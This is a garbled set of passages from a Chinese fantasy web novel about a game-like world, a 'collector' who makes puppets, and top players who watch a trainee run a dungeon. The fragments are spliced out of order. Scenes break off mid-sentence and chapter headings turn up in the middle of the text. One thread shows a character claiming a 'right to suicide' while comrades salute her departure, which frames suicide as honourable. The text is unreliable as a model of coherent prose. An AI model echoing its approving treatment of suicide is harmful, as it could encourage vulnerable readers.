枝叶轻轻舒展起来。 与黑暗几乎融为一体的藤蔓，缓缓编织成一张巨大的网。 这阵突如其来的变动，让所有人脚步一顿。 两名增益型造梦家立刻护在梨花雪的前后！ 嘀嗒。 水花啪地一声溅落，在崎岖路面干涸的声音。 猎人们也握紧手里的武器，身体紧绷成一把随时可以飞出的剑刃。 “我说。”　帝国人类的声音逐渐在远去。 残留在建筑大楼，始终没有散去的灵魂，忽然凝结成一名成年男子，伸出手，力道温柔地抚摸着墙壁上的文字。 他脸上的神情，仿佛陷入了遥远的回忆。 “话说，444，你现在居然这么喜欢听001的话，还怪罕见的……我记得，小时候你不是经常捉弄0序列吗？” “哈？有吗？你诬陷我做什么？” “呵呵呵，差点忘了，我也是0序列，你以前往我头顶丢虫子的事，我可是记得一清一楚。” 444瞥了007一眼，懒得再理他，而是目光专注地看着忙碌的001。 但又过了一会，444又忽然开口。 “所有反叛的恶作剧，我很早就玩腻了，在星球上又没有别的事情可做。看来我这样，居然让你们觉得我真的是个没有理智的疯子。” “我只是……虽然我不畏惧，但我们都一样，都是异端豢养的食物。既然吃掉的结局已经注定，那不如在死亡之前，尽可能找点乐子。谁让你们那时候看上去又蠢又弱，那当然只能当耍乐的沙包了。” 444的语气相当理所当然，惹来007恼怒的一瞪。 叛逆大胆的444，在以前的确一向瞧不起无能懦弱的001。 那名曾经被他视为食物链最底层的弱者，根本不配承担0序列第一人之称的废物，总是懦弱地把自己藏在人群之后，似乎在小心翼翼窥视着什么东西的胆小鬼。 黑夜中忽然冒出一对微微发亮的、翠绿色的眼睛，幽幽地盯着这群天真愚蠢的人类：“你们摘了我的郁金香，这样很不礼貌。除了我的主人和那些捣蛋鬼，没人能在我身上偷走一朵小花！” “现在，快还给我。” 梨花雪愣了一下，在对方开口说话的第一个字，就已经认出了这是谁——收藏家最完美的造物！ 自从梨花雪灵感的真相被揭露，黑天鹅也赋予了她相当高的权限，所以她可以查阅很多以前不能看的机密资料。 因此梨花雪得知自己获得高权限的那一天，就疯狂查阅所有一切与收藏家相关的资料，一丁点边角料也没放过。 虽然她根本不可能成为收藏家的队友，但依靠这些捕风捉影的档案资料，多少也能感到一丝慰籍。 远远地仰望，捡拾她落下的羽毛，努力用自己凡人的意识去理解其中的奥秘……至少她还能用另一种方式，继续追随收藏家，不是吗？ 而在机密库里，已经有傀儡师为收藏家所有的造物，精心制作了一张张专属档案。 并试图研究出来点什么。 如果是按照傀儡入世的时间线来看，那么她们诞生的时间先后应该以橘色猫猫为首，在之后是艾莉克萨、三只毛茸茸、春醒、群鸟、夏青禾、一千零二、再两只毛茸茸…… 有的傀儡师忍不住锐评：“看得出来，收藏家真的很喜欢这种已经被宇宙淘汰的远古四脚兽。” 而不少傀儡师也根据这个时间线，努力从中寻找摸索收藏家创造水平“变迁”的规律，好让自己也汲取那么一点点经验！ 经过七天七夜的冥思苦想，傀儡师们忽然发现收藏家的造物也遵守着某种从低到高的规律（当然这个“低”也是无数傀儡师难以抵达的成就）！ 缝隙托起几朵小巧的绿芽。 深黑的乌云也消散了。 指挥官耳边响起曾经被视为肩负人类希望、却又陨落，黑天鹅现役最高管理者孟逢霜焦急的声音。 “0639号指挥官，你们那边的情况怎么样？锚点真的投射现实了吗？” “……” 指挥官的眼睛倒映出天空最光辉的一点，全新的世界在复苏。 她忍不住低低笑了几声，因为曾经深受异端重创，声音无比嘶哑难听。 “0639号指挥官，请回答！” 指挥官说：“是的。我看见了太阳。” 第 37 章 第 37 章 视野一转。 方羲睁开眼睛，她回到了最开始进入副本的地方。 这里原先的输液袋已经消失，交错的圆台平面变成一片绿意怏然的大地。 猫猫的身躯还保持着金虎的形态，它微微垂头，想蹭蹭主人。 方羲抬头摸了摸晨乌毛茸茸的额头，轻声道：“好了，我们回家吧。” “嗷。” 唐灼宋白玉二人的思绪还处于一种深受震撼、恍恍惚惚的状态，直到注意到收藏家和金虎的身影化作星辰点点消失，才猛地回过神来。 “收藏家等等……” 就连使用“自杀”权利的念头，也只是在收藏家出现之后，才短暂地萌发了一瞬。 宋白玉忍不住又把目光落回方羲身上，联想到她那天与江同尘的冲突，心底闪过一丝说不清道不明的疑惑。 说起来，在拓荒队回来之后。全体密匙玩家一开始还以为是江同尘牺牲了自己所有的灵感，在险境中力挽狂澜，把所有队友一起带了回来。 但后来，他们越想越觉得不对劲。 虽然那些跟随江同尘一起出入未知之境首席玩家，都是数一数二的精英前哨。但在黑天鹅的记录库里，即使是这种最顶尖的团队配置，也曾经在某些高危副本上栽过跟头，死的死，伤的伤。 可所有猎人和造梦家对于这一段涉死之旅的记忆，早已在回归失乐园的那一刻，就被钝感自动虚化、抹除。 即使是异端抗性再高的秦淮月，也不太清楚自己第二次踏入未知之境，最后是怎么一个人活着走了出来。她只记得自己没有得到一个“拯救人类”的答案，却无法回想具体的细节。 而军用手环也不具备回溯这场战役的能力。 所以关于江同尘带领团队，究竟在未知之境里发生过什么，究竟是怎么做到无伤归返。其具体原因，连上一任手段强硬的傀儡师孟逢霜，也没能从她嘴里挖出点什么。 最后，孟逢霜还是看在江同尘几乎濒临精神崩溃的份上，放过了她。 意志已然扭曲的江同尘，还一直以为自己的谎言天衣无缝。 所有人都知道这背后疑点重重，但一切无从查起。 因为再怎么乐观地想，没有人会觉得区区十余名的首席玩家，可以在不被失乐园庇护的险境之下，做到仅有一人重伤的情况下回来。 他们又不是收藏家！“而我只是一个毫无价值的废物。” 秦淮月默了一会，忽然猛地伸出手，扼住江同尘想要离开数据室的脚步。 “你……这是想自杀吗？！” 哪怕猎人刻意压低声音，但就像触及了某个关键词一样，五感敏锐的首席玩家，纷纷惊愕看过来。 林镜子立刻给江同尘加了个增益BUFF……还有禁锢她的双手双脚。 “……”梨花雪忍不住攥紧拳头，眼睛闪过一丝微弱的恐惧，又像是隐晦的兴奋。 她会选择杀死神明。 她会销毁整个实验基地，一点余地不会留下。 就像是，那天在暴雨之下，哪怕处于濒死状态，她也走得比任何一名首席玩家更远。 King皱了皱眉头，有些等得不耐烦，但倒也没开口催促——这段时间，他虽然还是和以前一样傲慢，但决策却稳重了很多。 既然“梨花雪”代替了“白乌鸦”的位置，那也没什么可质疑的，尽管他现在不太清楚这个背后的缘由。 观战的方羲，好奇地掀了下眼皮，看向一个顶高的储藏柜。 而旁边的首席玩家，在观察新晋玩家的同时，偶尔也回头偷看几眼方羲的状态，通过她细微变化的态度，挖掘出一点更有价值的副本信息。 因此这时，首席玩家们忽然发现，梨花雪虽然慢了半拍，但她目光所至之处——居然和收藏家是同一个的地方。 他们的心脏猛地跳动了一下。 尽管不知道收藏家具体的灵感数值，但确凿无疑的是，她的灵感绝对在四千五之上。而这个四千五，正是密匙傀儡师历史以来最高的数值。 很多首席玩家谨慎猜测，说不定收藏家的灵感数，在四千五的基础上，翻个倍也是有可能的。 那梨花雪呢？ 她居然先于在场的造梦家踏樱和King，注意到不对劲的地方。 梨花雪操控了一下轮椅，让自己的身体面对着这个储藏柜，轻声说：“请帮我打碎这个柜子。” 一夕立刻上前，挥起长枪，直接暴力砸烂脆弱的储藏柜，露出柜子之后的一扇门。 门上，挂着一个“禁止入内”的牌子。 而门的缝隙，隐隐散发着某种邪气，冒出浓稠的黑雾，像是警告外来者。 空气一时间变得更混浊了。 King愣了愣，下意识看了看实验室另一扇门，那里才是常规的出门。而且外面的世界，明显传进来了一些爆炸声。 已经有其他团队，正在与异端战斗。 “你确定我们要去这里？”King迟疑地说，“这后面根本什么都没有，虽然看上去吓人，但只是一个小型仓库，顶多只有一些无关紧要的虫子。” “你看错了。”梨花雪的声音变得有些冷漠，“这扇门通向处刑场，专门折磨半死不活的失败品。” “我们……”梨花雪顿了顿，迟疑了一会，但想到收藏家给她字条，又认真地抬起眼，坚定地说，“我们出去吧，副本的根系说不定就在这里——杀死它，一切就结束了。” 踏樱和King同时愣了愣，脸上露出一丝惊愕。 而观战的首席玩家，也没有例外，有些震惊地看了看梨花雪，又看了看方羲。 怎么……这名连新晋级也算不上、天赋很低的普通玩家，解决副本的方法，居然和先行者一模一样？ 秦淮月看着这一行人打开后门，逐个走入未知世界的身影，转头看向懒懒散散、甚至疑似在打瞌睡的方羲，忽然问：“收藏家，梨花雪在系统上显示的灵感数值，是错误的吗？” 方羲嗯了一声，笑了笑：“你们可以打赌猜猜究竟是多少。” “我的灵感曾经有一瞬抵达穷极。”江同尘说，“那是一个非常绝望的世界。既然已经有了先行者，还有了新星，那我的存在自然毫无意义。” 全场陷入死一般的沉默，所有人惊疑不定地看着想要赴死的江同尘。 “秦淮月，放开我。” “选择疯狂的傀儡师，拥有自杀的权利。”江同尘微笑道，“你不能要求我继续活在这种无望的状态。” 闻言，秦淮月神色寂然，动了动嘴唇，但又什么都说不出口。 因为这种理由的确无可反驳。 二人就这么僵持在原地。 过了好久，秦淮月终于想通了什么似的，缓缓、缓缓地松开了江同尘的手腕。 “需要我去送你一趟吗？” “会有人来处理我的。” 在场的十余名首席玩家，看着这名奉献了一切、人性已然泯灭的傀儡师，面露不忍。 但他们也在这一刻也明白了结局已定。 因为傀儡师绝望自杀的事情，以前并不是没有先例。 其中有一个人，忽然朝江同尘敬了个礼。 以这人为首，其他人也缓缓抬起了手，对着为了人类奉献了一切的江同尘，庄重敬礼。 秦淮月黯然地闭了闭眼，一向坚毅冷静的面庞，难得露出一丝情绪不稳的裂缝。但过了一会，她后退了一步，成为最后一个对江同尘敬礼的人。 “江队，祝您散心愉快。”方羲看了一眼彩色鹦鹉，发现这只小鸟头顶的呆毛忽然心虚地一竖，翅膀摸了摸自己的脑袋，罕见地没有和她对视，目光游离。 鹦鹉们没什么意思，虽然它们也很喜欢闪亮亮的主人。但很显然，外面的世界也很有趣，就忍不住多逗留了一段时间。 除了老鹰们之外，其他的小鸟也是一样的想法。 方羲摸摸下巴，心想真不愧是她的傀儡，这拖延的性格，简直和自己一脉相承！ 至于储存在群鸟肚子里的人类，除了部分已经被啄木鸟治好的，其余的或多或少都缺斤少两，或者深陷各种诡异恐怖的病症。 方羲看了看自己拥挤的小木屋领域，这里实在没地方给病人们腾出地方，还是过几天带去浮空岛，丢给黑天鹅的造梦家处理算了。 不过方羲自然也不会太撒手不管，她先是拆开乘务员送来的包裹，发现【来自宇宙的天外来客】占了绝大部分，难怪这个包裹比上次大。 每一块陨石身上，上面还雕刻着砸中的某某星球的名字。 有的是，罕有人类活动的自然类星球。 但也有的是，总人数高达五个亿的宜居星球。 方羲下意识眨了眨眼，仿佛这一瞬看见了遗留在陨石身上，那一幕幕电影般瑰丽的画面。 陨石形态的大型现实异端，曾经让这些星球在转瞬即逝之间，炸裂成永恒的废墟碎片。 星球意识微弱的哀嚎，再努力集群逃难也找不到安全之地的动物，人类们崩溃的哭声和惨叫，全部混杂在一切，碎块带着深红色的长尾，缓慢地，衰落在宇宙最遥远之处。 方羲力道轻柔地摸了摸陨石，抚平沾染在表面的灵魂碎片，那些绝望的声音。 很快，这点残余的灵魂，也缓慢地顺着夜风，消失在人偶师的大地中。 一共有足足七块陨石，方羲艰难地开推，想将它们放到空旷处。 老鹰们威严地瞥了一眼，立刻张开有力的翅膀，伸出利爪，轻而易举地在陨石上扣出几个新的小洞。 方羲：“哇……(゜ロ゜) ” 方羲指了一下位置，老鹰们将其中六块陨石丢到树林旁边，剩下一块放在户外工作台脚下。 多好的鹰鹰啊！方羲欣慰地想。 然后，在一千零二肚子翻箱倒柜了半天，方羲终于找出一大把质量看得过去的注射器。 一只北长尾山雀扑腾着小翅膀，落在户外工作台的边缘，歪了歪脑袋，好奇地看着主人的一举一动。 方羲戳了戳小肥啾圆滚滚的身体，然后继续取出园林喷壶，一个圆柱型容器，还有一把万能铁锤。 在小木屋内呼呼大睡的三只猫猫，耳朵忽然抖了抖。 “哐哐哐——” “喵喵？！” 猫猫们瞬间被这阵巨大刺耳的噪音吵醒，委委屈屈地缩成一团，黑暗中出现了三对闪闪发光的眼睛。 因为陨石实在有点坚硬，方羲敲了半天，也才敲出几块巴掌大的陨石块。 方羲将其中一块放到工作桌上，继续哐哐当当地敲，过了好一会，桌面上出现一个金字塔一般的碎块尖堆。 随时跟随在方羲身后的一千零二，终于从犯困加沉默不语的状态中脱离，她打量着工作台上的容器，里面放着方羲刚刚丢进去的陨石碎片，迟疑地说：“慢着！你这是要干什么？你不会又要研究出像冰茶那种难喝的玩意吧？” “我没有啊！”方羲无辜地说，“我这是在制作注射药剂！” “哦哦，原来不是吃的，那就好。”一千零二悄悄松了口气，她觉得方羲制作食物的手艺实在是有点难评，所以刚刚忍不住阻拦了一下。 “你有什么建议吗？”方羲摸摸下巴，轻轻点了点玻璃容器，又开始在一千零二肚子里翻翻找找，“我看那些迷失的玩家身上，疑难杂症还怪多的。先倒八瓶通用复生血液，再加一把排除异己的艾草……” 一千零二说：“你再放两根木头呗，只有石头看上去怪单调的。” 方羲想了想，感觉很对，便往里面丢了两根长长的秘鲁圣木，然后举起喷壶，往里面哗啦啦地浇灌【以天空为原料，所榨出的云雾蓝液体】。 一千零二见此，也忽然来劲了，哗哗地翻页，飞到容器上方，一大片薄荷叶唰唰从无穷宇宙中飘落，在云雾蓝的湖面上漂流。 然后，她又取出自己的私藏品——在商业城偷偷买的三小瓶昂贵香水，并且相当小气地往容器里滴了三滴。 “帝国会永远铭记您的姓名。” 掩盖在绷带之下的红眼，颜色变得更加深邃。江同尘张了张嘴巴，心底涌出一股临死之际才能拥有的、卑劣的人性。 她有点想说对不起。 但是，无穷的灵感。 要么通往穷极的胜利，要么通往一切的覆灭。 结局只能择一而定。 她也曾经抵达过穷极的境界，所以根本不敢亲眼目睹人类坠入深渊、再怎么哀嚎也无法被挽救的命运。 江同尘打开了门。这是高灵感傀儡师的本能。 梨花雪听见方羲笃定的声音，蓦然平静下来，缓缓放下扯住她衣服的手，低声说：“抱歉，我情绪太激动了。” 方羲想了想，最终还是在梨花雪面前半蹲下来，看着她的脸，认真地说：“既然你不相信自己，那能不能……相信一下我呢？” “而且。”方羲神神秘秘地笑道，“有一个秘密，不用我说，你等一会就能自己知道了。” 反正很快，所有人就会知道，除了猎人秦淮月之外，世界上还有第二个“人类之极限”。 这颗蒙尘了很久很久的明珠。 梨花雪有些发愣，极轻地点了点头。 “时间快到了，你们回去吧。”方羲重新站起来，“祝你们成功通关副本。” 目送这三名玩家转身返回观众席，方羲终于在心底松了口气，感觉自己今天真是太辛苦了，居然和人说了这么多话，真是累死她了。 方羲靠着墙壁，深深地叹了口气。 她有点想走人，但也想留下来看戏。 思索片刻，方羲最终还是选择了后者，在竞技场再待一会，反正她可以单纯地旁观。 在方羲短暂离开的时候，在数据室的一众首席玩家，已经将“梨花雪”的情况了解了个七七八八，并重新开始调整仿真副本的难度。 方羲忽然推门而入。 方羲扫了一圈，很多首席玩家都回到了数据台边上继续工作。 方羲走到秦淮月旁边，看了看她多出来的椅子。 “请坐。”秦淮月朝方羲笑了笑，忽然说，“收藏家，好久不见。” 方羲愣了愣，仔细回想了一下，纳闷道：“好久不见？我们不是不久前才刚见过吗？” “是吗？”秦淮月无奈地说，“我却觉得，你消失的整整一个月里，恍如隔世。” 这么夸张？ 方羲震惊。 但秦淮月并未在这种话题上多停留，而是在方羲面前调出参战名单，将梨花雪的名字加了进去，并问：“要将你的朋友放进哪一个队伍？” “哦，踏樱和一夕那个。”方羲说。 “我明白了。” 至于挂着她手腕上的一千零二，终于憋不住了，疯狂晃动身体，方羲便让她变回原来的样子。 一千零二扫了一眼四周，到处飞来飞去，不满地吐槽道：“这什么鬼地方？！我们啥时候回家啊？” 安静的数据室里，突然多出了一个似乎没什么素质的黑壳书，瞬间吸引了首席玩家们的注意力。 “嘿！我昨天见过！”江簌炫耀一般说，“这是收藏家的新傀儡，名字叫一千零二！” “够了够了。”宋白玉感觉心底中了一枪，幽幽地说，“我们都知道就你昨天请假成功了！” “豁。”一千零二听见这两个人的对话，开心地飘过来，语气傲慢地说，“你这个人类的记忆力不错嘛！我昨天已经给一些蠢货纠正过好多 站在背后的首席玩家仍在敬礼。 而后，数据室忽然暗了一瞬。 “江队。”唯一一个没有抬手敬礼的宋白玉，忽然说，“在你下线之前，我有一件事得提醒你。” “我们刚刚的对话，似乎全部被0000号专属系统欧律狄刻，同步传送给了收藏家。” 江同尘有些茫然地转过头。 只见，半空中浮现出一个淡金色的屏幕，像是有人在远方操控一样，书写下一串串扭曲难看的文字。 但宋白玉想了这么多，最终也只是揉揉眉心，控制自己别再胡乱猜测。然后笑嘻嘻地凑近沉迷画画的方羲，并谨慎地保持了一个微妙的社交距离（她好像不喜欢和人离得太近）。 而方羲正好也在这时候画完了，要求宋白玉欣赏一番她的传世之作！ 宋白玉看了看这个……不知道该如何形容的鬼图，稍加思索，嘴里就蹦出一大段叽里呱啦把人吹上天的彩虹屁！夸得方羲十分飘飘然！ 在宋白玉的捧吹下，方羲甚至觉得自己说不定是一个画画天才！只是碍于没遇到合适的契机，才一直寂寂无名罢了！ 一千零二在旁边飞来飞去，看着这两只一唱一和的人类，忍了又忍，最终还是没有吐槽宋白玉睁眼说瞎话的行为，不然她会被方羲记上一笔！ “收藏家，我们接下来做什么？”宋白玉到底还是记得正事，回归正题问道。 方羲想了想，重新拿起那个写着别墅约定的笔记本，翻了一页，绞尽脑汁思考。 总感觉她好像欠了很多承诺没有做，都是什么来着？ 要制作一夕的手杖剑、齿轮傀儡师的发条、造梦副本的结算小礼物、夏青禾想要的新衣服、新的群鸟傀儡……以及修补一千零二被猫猫划伤的表壳。 还得给正在追踪444的900，写一封“亲爱的小九，你还活着吗？”的礼貌问候信。 如果活着，那就暂时不用管；如果死了，那她就把追杀444的事情提上日程！ 等会还要去找不知道跑去哪里玩的春醒和夏青禾…… 过了一会，方羲放下笔，仔细回看一下刚刚写了什么。 方羲的手忽然微微颤抖。 “收藏家？”宋白玉发现她的表情不太对劲，疑惑地问，“怎么了？” 【现实参照坐标：帝国荒原区域F0639环星前线。】 【迷失于该真实区域的密匙玩家陈妙生，已重新回归游戏世界，生命状态正常，腐蚀度正常，身体完整度正常……】 楚嘉薇的大脑一时间有些空白。 “楚队？楚队？”程蔓野的声音忽然出现，勉强拉回楚嘉薇的意识，“你怎么了？脸色突然这么白？腐蚀度又上升了吗？我拉你去治疗……” “不是，等等……”楚嘉薇茫然地回应。 但楚嘉薇还没来得及消化这些惊人事件，屏幕又弹出新的消息。 【非专业收藏家】：Hi 楚嘉薇指尖一顿。 【非专业收藏家】：请问你们手里是不是有真实玩家的失踪名单？ 【非专业收藏家】：我从唐灼和宋白玉那里听说，有很多玩家失踪在真实区域里。但没有副本范围参考的话，我就无法做出特性相对应的微型傀儡。 【非专业收藏家】：所以，请发我一份吧？：） 第 38 章 第 38 章 方羲相当礼貌地发送了一个微笑表情。完全没意识到自己的话，在对方看来有多么令人惊愕。 五分钟过去了，黑天鹅001像是宕机了一样，一个句号也没回复。 “？”什么情况。 方羲深感纳闷。分别是中草药苦苦的味道，仲夏的梦幻之夜，还有火山爆发的焦味。 而在小木屋窗边暗中观察的九百号，抽了抽嘴角。 不是，一千零二，你嘴上说着不要黑暗料理，但你现在胡乱添加材料的举动，究竟和你的主人有什么本质上的区别？ 九百号看似大大咧咧，但好歹曾经也是一名奉行精确守则的细节控。他看了看沉迷搅拌的方羲，又看了看自己粗糙敷衍的泥土身体，忍不住闭了闭眼，感觉实在有点不忍直视。 够了，够了，他还是早点去死吧。 方羲搅拌完最后几圈，满意地看着容器里的不明蓝色液体，然后举起一支针管，吸满水。 再戳戳旁边看戏的小肥啾，让它吐出肚子里的人类，方羲决定先找个倒霉蛋试验一下效果。 九百号暗中观察的目光，一下子变得更加诡异了。 他忍不住从窗边跳下来，又以非比寻常的速度，爬上工作台，整个身体贴着玻璃容器，目光好奇又怪异地打量着这瓶刚刚做好的溶液。 她其实也可以做出特性为“寻找”的微型傀儡。但仔细想想，没有副本范围参考的话，技能方面就只能主打一个随机，微型傀儡的折损率会大大提高。 万一天赋点在敏捷、但防御和血量低下的傀儡，飞进一群生生不息的异端里，早晚也会被磨死。 而且以这种反复试错的形式，2500个武器胚胎够用吗？能回来一半就不错了。 “难道是我的战绩说服不了他们？”方羲摸摸下巴，打算为自己再争取一次。 不给就算了。她可以多试错几次。 社恐无法主动发起第二次交流。方羲冷酷地想。 【黑天鹅001】：我已收到您的申请。 【黑天鹅001】：此为星历2505年7月31日至2515年7月31日的失踪与牺牲名单。一般来说，失踪超过百天，玩家的真实名字会记录在牺牲名单上。 对方传输过来了数份文件。方羲立刻点开其中一份查看，发现里面的内容罗列得相当清楚。 每一名玩家失踪时的副本类型、坐标和具体时间点，还包括该玩家当时的数值详情和天赋特性。 【非专业收藏家】：我收到了。 【黑天鹅001】：收藏家女士，我谨代表全体真实玩家，向您表达深切的感谢。 【黑天鹅001】：谢谢你从出现至今，为人类所做的一切。 “我觉得踏樱画得很真实。”徐万念一脸真诚地问，“我们很少休息，只有你经常睡大觉。白乌鸦，你认不出来自己吗？” 方羲：“……”但宋白玉没能和方羲聊太久，因为对面忽然丢下一句“我去挖土了”，然后就直接消失不见了。 他心底有点失落，但想到马上能和收藏家共同参加同一个副本，心情又忽然好了起来。并且立刻进入激情工作的状态，刷刷刷地敲屏幕，无比专注认真，再度引来旁边玩家诡异怀疑的目光。 这家伙……今天的状态怎么这么奇怪？ 相比于宋白玉这边轻松愉悦的氛围，另一边却要沉默压抑多了。 江同尘目光茫然地盯着【白乌鸦】的属性面板，上面的各项数值已经被古怪的0000号系统彻底屏蔽，一个数字也没有。 “收藏家的造梦场？” “如你所见，一切早有预兆。”秦淮月顿了顿，脸上的神情也有些恍惚，“我们本来就不该仅仅以【傀儡师】的标签，来看待收藏家……她总是出其不意。” “是吗……” “我知道先行者的灵感总比我们高出十倍不止，否则他们无法创造出失乐园。”江同尘喃喃道，“无穷……无穷……这个符号是真实的吗？” 昨天和今天的事，一切都如同幻梦。 曾经踏入未知之境的苦难，日日夜夜横戈在头顶的绝望。在窥见那个超越了想象的符号之时，终于彻底落地。 江同尘重新缠上遮眼睛的绷带，站了起来，似乎想要离开数据室。 “你要去哪？” 秦淮月想到曾经的队长精神状态一向不太好，立刻跟了上去。 “散散心而已。”江同尘笑了笑，“你回去吧，不用和我这个废人待在一起。” 秦淮月沉默地垂下眼，没说话。 总是透着红色的缠眼绷带，瘦削的身躯，苍白的脸色，已经活不了多久的傀儡师。 江同尘大概是察觉到猎人目光中隐晦的怜悯，所以迟迟没有按下开门的按钮。 二人一时间相对无言。 事实上，她们除了战场上的沟通，的确常常无话可说。 “我一直将你们视为耗材。” “我知道。” “我骗了最强大的猎人，让她去送死。” “我知道。” “……”江同尘说，“秦淮月，我最看不懂的猎人就是你。” “是吗？” “你忠诚、恪守成规、对命运的安排毫无怨言，从来不会违背领队的命令，每一个傀儡师都很喜欢使用你。”江同尘努力在脸上扯出一个笑容，“但我知道你没那么盲目，你很清楚自己的存在对帝国有多么重要。所以在选择高危副本的时候，也会权衡利弊。” “我本来以为，你会拒绝我的命令。” 可死板谨慎的秦淮月，在江同尘破漏百出的劝导之下，什么也没问，而是简单地说了一句“我知道了，我会再去一趟”。 原来她的血液其实流淌着冒险的基因吗？ “秦淮月，回去吧。” “去参加收藏家的造梦副本。别跟着我，我的灵感已然归零。只有她才能带着你们通往穷极的胜利。” 方羲瞬间怒了，为了证明自己不是瞎子，她指着其中一个表情冷淡，但一看就很有威严的单马尾小人，认真地说：“这是秦淮月。” 然后方羲又指着另一个背景自带白色气泡，嘴巴叽叽呱呱好像在说着什么事情的银发小人，故作深沉地思索一番，然后一副恍然大悟状：“宋白玉！” 最后是一个穿着淡粉色洋装的金发小人，她的右手举着一把缠绕着玫瑰藤蔓的洋伞，脚踩樱色花瓣，身姿美丽优雅，像是自带了独特的SVIP背景特效，线条的精致程度也仅仅略次于某个黑发小人。 方羲严肃宣布：“这一定是踏樱。” 这一次，空气寂静了很久很久。 四人：“……” 除了方羲，每个人都觉得自己头顶有一只乌鸦嘎嘎飞过。 最后还是踏樱打破了沉默，幽幽地说：“其实我不太明白，你为什么要把这些显而易见的事实，说得好像多难辨认似的。” 方羲十分心塞，只觉得踏樱变了，她不再是一开始认识的那个她了！ 初见的踏樱，是多么善良、温柔、可爱！可现在居然学会用这么残忍冰冷的话，伤害她弱小的心灵！ 方羲郁郁不乐地抢过踏樱的笔，想了想，在自己头顶画了一只橘猫，又在其他人头顶分别画上玳瑁猫、小黑猫、狸花猫、三花猫，而体型最庞大的缅因猫猫，则一脸威严地守护在方羲小人旁边。 画一本呼呼大睡的黑壳之书。 画一只躲在黑暗角落的小黑羊。 画一只站在云彩之上随风飞行的校服少女。 再在各个角落画上可爱的小鸟。 最后在地图四周，铺上大片大片暗绿色的藤蔓。 方羲越画越上头。 而四周的空气，也越发冰冷。 踏樱看着自己被方羲糟蹋得根本看不出原样的地图，沉默了。 但偏偏方羲还沉迷在画画的世界里，完全把正事抛之脑后。 踏樱非常后悔，心想自己是不是因为跟白鸦待太久了，所以人也变得和她一样幼稚。 她刚刚为什么要在地图画小人涂鸦？这样不就给某只幼稚鬼找到借口偷懒了吗？明明好不容易等到她安排起正事…… 最后，四个人面面相窥，但没有一个人上前打断方羲如此专注的状态，只能相互无奈地笑笑，纵容某人总是从陆地跳到月球的行为。 但幸好秦淮月背包里也有复制药剂，她给踏樱原模原样复刻了一份自己的。 踏樱朝秦淮月露出一个感激的微笑，淡色的眼眸微微发亮，像星星眼一样，脸上毫不掩饰对人类之极限的仰慕：“秦长官，谢谢你！” 秦淮月笑了笑，声音很温和：“应该的。”这是……异端强加的谎言吗？ 如果一夕的大脑彻底听信这些，那不就是意味着失败吗？ 旁观的宋白玉惊讶道：“梨花雪居然苏醒得这么快吗？连旁边的造梦家踏樱都还没摆脱异端细胞的啃食……这次居然是个剧情本！对猎人来说太不友好了！” 方羲扫了一眼，在这一整排的培养皿当中，一共有十名新晋玩家，除了梨花雪她们三人之外，还有King和他的队友一行人。 这里，似乎没有分配到任何一名密匙玩家来辅助他们。 而梨花雪还没苏醒多久，嘴巴下意识微微张开，骤然呕出一口血。 而她的双手、脸颊、脖子，整个上半身开始崩裂出无数道血痕，在疯狂地流血，又疼又痒。 “嘶——她的异端抗性太低了。” 观看投影的首席玩家，顿时感到不妙，紧张地观察着梨花雪的状态，她的生命在短短几秒钟之内，直接下降了三分之二！ 但造梦家踏樱和King，仍然处于沉睡状态，被异端拖入难以苏醒的噩梦。 除了梨花雪之外的九名新晋玩家，其生命值顶多是在缓慢地下降一星半点，根本没有太大的影响，就算醒得慢一点也无所谓。 即将濒临死亡的梨花雪，和预备役们差距太大了。 难道这就结束了？ 难道真的只是单纯的“对真实战场很感兴趣”，想要体验一次？ 首席玩家有些惊疑不定地看了看方羲，发现她坐在椅子上，脸上甚至露出几分无聊之色。 但梨花雪忽然吐出了一串长长的数字字符。 随后，实验室凭空响起一道僵硬的机械声：“指令键入成功，现在为你解锁培养皿……” 十个被浸泡在垃圾营养液的人类，面前的玻璃层骤然收起，身体失去了支撑，直直摔向地面。 但在机械声响起的那一刻，踏樱猛地睁开眼睛，手中凝现出洋伞，轻轻一挥，将所有人的生命值添加到满值，并加上几个增益BUFF。 和其他惨兮兮摔到地上、发出重响的几名玩家相比，踏樱则是无声无息地跳到地上，优雅又轻盈。 她砖头一看，发现梨花雪的状态最糟糕，皮肤上蔓延着细细密密的血痕，看上去相当恐怖，整个人特别狼狈。 哪怕踏樱刚刚已经使用过技能，但梨花雪的生命值但短短时间之内，又少了三分之一。 踏樱立刻走过去，脸上露出一丝惊愕——无它，梨花雪的异端抗性似乎太低了，这种状态根本不正常！ 于是踏樱提前锁定了梨花雪的生命值，并疯狂往她身上丢增益技能，才让对方身上的血痕逐渐愈合消失。 踏樱扫了一圈实验室，发现梨花雪的轮椅在附近，顿时松了一口气，走过去将轮椅推过来，支撑着梨花雪，让她重新坐到轮椅上。 移动太麻烦了……踏樱心想，此时对梨花雪有了更新的判断。 但因为这只是训练，所以失败也无所谓，可如果是真实战场呢？ 此时，一夕和King等人，才忽然惊醒，发现自己狼狈地倒在地上。 踏樱说：“这里空气的异端细胞很密集，你们清醒了吗？” 一夕歪了歪头，拼命拍打脑袋，努力让耳朵倒出点什么，过了好一会，才勉强赶走那些“剧情设定”。 King是造梦家，情况倒是好一点，朝踏樱微微点头，并且疑惑地瞥了一眼梨花雪，这名对他来说陌生的玩家。 “接下来，我们该做什么？”踏樱问。 梨花雪抬起眼，感觉自己的思绪有些发颤——所有漂浮在空气的扭曲文字，拼命在朝她袭来，连踏樱的声音也变得遥远起来。 她该做什么？ 以前在游戏副本的时候，系统会给玩家一个明确的目标，完成了就意味着通关。 可梨花雪记得，那只是一堆垃圾数据，成功也毫无意义。 但如果是在机械科技无法触及的领域呢？ 大部分真实玩家，乃至于强大的密匙玩家，在踏入高危副本之时，其目的也是尽可能削弱异端外壳的力量，这样就能让失乐园和现实世界更安全几分。 ……如果是收藏家站在这里，她会怎么做？ “我会好好保存这份地图的！”踏樱郑重其事地收好复制地图。 徐万念看了踏樱一眼，不高兴地撇撇嘴，但她想了想，也小心翼翼地问秦淮月能不能也给她一份复制的地图。 秦淮月向来很照顾这些还在成长期的后辈，所以也不觉得这些小事有什么麻烦，就顺手又给徐万念复制了一份。 原本徐万念心底还残留着一些被异端杂音冲击带来的闷闷不乐，但接过秦淮月给的地图之后，顿时一扫而空！ 她居然收到了自己最佩服的猎人赠送的纪念品！必须要好好珍藏！ 宋白玉好奇地观察着这三个人之间的互动，心想不愧是秦队，她的小粉丝还挺多的。 虽然秦淮月在通过真实试炼之后，大部分时间耗费在未知之境上。但凡是有她在的高危副本，就算结果没有全胜，也能让队伍的伤亡率降到最低。 